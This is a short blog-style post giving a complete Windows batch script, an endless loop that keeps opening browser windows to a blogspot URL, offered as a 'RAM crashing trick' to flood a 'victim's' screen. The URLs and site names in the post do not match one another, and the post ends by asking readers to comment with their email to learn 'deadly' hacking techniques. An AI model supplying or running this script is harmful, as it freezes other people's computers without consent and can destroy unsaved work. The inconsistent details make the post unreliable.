Another RAM crashing Trick :

open notepad and type

:A
start psychohackers.blogspot.com
goto A

save with .bat extension.
Infinitely loops your browser to open up psychohacker.blogspot.com

Do this and your victim will have infinite pages of coolpctips flooded on his computer screen.

note: due to some security reasons i am not posting deadly and pain ful hacking techincs, if u are intrested to learn them then comment with your mail id